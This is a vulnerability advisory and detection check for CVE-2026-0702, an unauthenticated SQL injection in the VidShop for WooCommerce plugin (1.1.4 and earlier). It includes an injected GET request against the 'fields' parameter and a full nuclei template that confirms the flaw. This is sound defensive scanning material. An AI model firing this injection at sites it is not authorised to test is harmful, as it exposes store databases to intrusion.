VidShop for WooCommerce <= 1.1.4 - SQL Injection

highseverity

7.5CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

VidShop – Shoppable Videos for WooCommerce plugin for WordPress <= 1.1.4 contains a time-based SQL injection caused by insufficient escaping of the 'fields' parameter, letting unauthenticated attackers extract sensitive database information.

Impact

Unauthenticated attackers can extract sensitive information from the database, potentially compromising data confidentiality.

Fix

Update to the latest version of VidShop – Shoppable Videos for WooCommerce plugin for WordPress.

How to confirm it

Send: GET {{BaseURL}}/wp-json/vsfw/v1/videos?fields=%28SELECT%20424242*2%29%20as%20id
Positive when: status 200 AND contains "\"id\":848484"

Run it with nuclei: nuclei -id CVE-2026-0702 -u <target>

The full check

id: CVE-2026-0702

info:
  name: VidShop for WooCommerce <= 1.1.4 - SQL Injection
  author: str4k3r
  severity: high
  description: |
    VidShop – Shoppable Videos for WooCommerce plugin for WordPress <= 1.1.4 contains a time-based SQL injection caused by insufficient escaping of the 'fields' parameter, letting unauthenticated attackers extract sensitive database information.
  impact: |
    Unauthenticated attackers can extract sensitive information from the database, potentially compromising data confidentiality.
  remediation: |
    Update to the latest version of VidShop – Shoppable Videos for WooCommerce plugin for WordPress.
  reference:
    - https://plugins.trac.wordpress.org/browser/vidshop-for-woocommerce/trunk/includes/rest-api/v1/class-videos-controller.php#L297
    - https://plugins.trac.wordpress.org/browser/vidshop-for-woocommerce/trunk/includes/utils/class-query-builder.php#L778
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/a61d8d2a-742f-45f1-9146-f733b80ef195?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-0702
    epss-score: 0.02066
    epss-percentile: 0.81549
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,woocommerce,vidshop,sqli,unauth,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/vsfw/v1/videos?fields=%28SELECT%20424242*2%29%20as%20id"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"id":848484'

References

Use this check only on systems you are authorised to test. Where the data comes from